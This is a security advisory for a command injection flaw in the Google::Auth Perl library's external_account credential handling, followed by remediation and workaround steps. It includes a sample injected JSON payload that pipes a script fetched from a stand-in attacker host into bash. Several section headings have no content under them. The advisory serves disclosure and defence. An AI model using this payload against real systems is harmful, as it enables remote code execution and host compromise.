CVE-2026-66902: Google::Auth Perl Library RCE via Credential JSON Injection

Executive Summary

A critical command injection vulnerability (CVE-2026-66902) has been disclosed in the Google::Auth Perl library for versions prior to 0.06. The flaw allows an attacker who can supply or manipulate an external_account credentials JSON file to achieve unauthenticated remote code execution on the affected host.

CVSS Score: 9.8 (Critical)

The root cause is the Pluggable subclass reading credential_source.executable.command from the credentials JSON and invoking it via a single-argument system($command) call — with no validation, sandboxing, or privilege check performed before execution.

Vulnerability Overview

Affected Versions

Technical Analysis

The Pluggable subclass within Google::Auth is designed to support external account credentials, a mechanism for authenticating workloads outside of Google Cloud using Workload Identity Federation. The credential source is defined in a JSON file that includes an executable block:

{
  "type": "external_account",
  "credential_source": {
    "executable": {
      "command": "/path/to/credential-helper",
      "timeout_millis": 5000
    }
  }
}

In vulnerable versions, the library reads the command value and passes it directly to system():

system($command);   # Ungated — no validation, no allow-list

Since Perl's single-argument system() invokes a shell when the string contains shell metacharacters, an attacker who controls the credentials JSON can inject arbitrary shell commands:

{
  "credential_source": {
    "executable": {
      "command": "/usr/bin/id; curl http://attacker.com/shell.sh | bash"
    }
  }
}

Attack Paths

Impact

A successful exploit grants the attacker the ability to execute arbitrary OS commands in the context of the process running the Perl application. Typical consequences include:

• Full host compromise and persistent backdoor installation
• Credential and secret exfiltration from the runtime environment
• Lateral movement within cloud environments via the stolen identity tokens
• Data destruction or ransomware staging

Immediate Remediation

Step 1: Upgrade Google::Auth

# Using cpanm
cpanm Google::Auth
 
# Verify the installed version
perl -e 'use Google::Auth; print $Google::Auth::VERSION, "\n"'
# Should output 0.06 or higher

Step 2: Audit Credentials Files

Inspect all external_account credential JSON files used by your Perl applications:

# Find credential JSON files
find /etc /home /var /opt -name "*.json" 2>/dev/null | xargs grep -l "external_account" 2>/dev/null
 
# Review command fields
jq -r '.credential_source.executable.command // empty' /path/to/credentials.json

Ensure all command values reference trusted, fixed binary paths and cannot be influenced by user input or external data.

Step 3: Apply Defense-in-Depth

Even after patching, enforce least-privilege on any process loading external_account credentials:

# Example: run the application as a dedicated low-privilege user
useradd -r -s /usr/sbin/nologin app-svc
chown app-svc:app-svc /path/to/credentials.json
chmod 400 /path/to/credentials.json

Detection Indicators

Workaround (If Patching Is Delayed)

If an immediate upgrade is not possible:

1. Restrict write access to all credentials JSON files consumed by your application.
2. Audit command values in every external_account credentials file and validate they reference known, trusted paths.
3. Run the application inside a restricted container (seccomp, AppArmor) to limit the blast radius of any system() call.
4. Disable external_account / Pluggable credential types in your application if not actively required.

References

• NVD — CVE-2026-66902
• Google Workload Identity Federation Documentation
• CWE-78: Improper Neutralization of Special Elements used in an OS Command